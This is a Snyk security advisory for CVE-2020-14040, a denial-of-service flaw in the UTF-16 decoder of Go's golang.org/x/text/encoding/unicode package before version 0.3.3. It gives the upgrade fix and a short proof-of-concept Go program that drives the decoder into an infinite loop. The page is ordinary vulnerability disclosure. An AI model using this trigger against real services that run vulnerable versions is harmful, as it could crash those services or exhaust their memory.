<p>Upgrade <code>golang.org/x/text/encoding/unicode</code> to version 0.3.3 or higher.</p>

unicode package, versions <0.3.3

Snyk CVSS

Attack Complexity Low

Availability High

Threat Intelligence

Exploit Maturity Proof of concept

EPSS 0.12% (46^th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk ID SNYK-GOLANG-GOLANGORGXTEXTENCODINGUNICODE-609611
published 3 Sep 2020
disclosed 9 Jun 2020
credit Evgeny Kapun

Report a new vulnerability Found a mistake?

Introduced: 9 Jun 2020

CVE-2020-14040 Open this link in a new tab CWE-400 Open this link in a new tab

How to fix?

Upgrade golang.org/x/text/encoding/unicode to version 0.3.3 or higher.

Overview

golang.org/x/text/encoding/unicode is an unicode package provides Unicode encodings such as UTF-16.

Affected versions of this package are vulnerable to Denial of Service (DoS). It is possible to exploit the UTF-16 decoder into entering an infinite loop, causing the program to crash or run out of memory.

PoC

package main

import (
    "fmt"
    "golang.org/x/text/encoding/unicode"
)
func main() {
    res, err := unicode.UTF16(unicode.BigEndian, unicode.UseBOM).NewDecoder().String(" ")
    fmt.Println(res, err)
}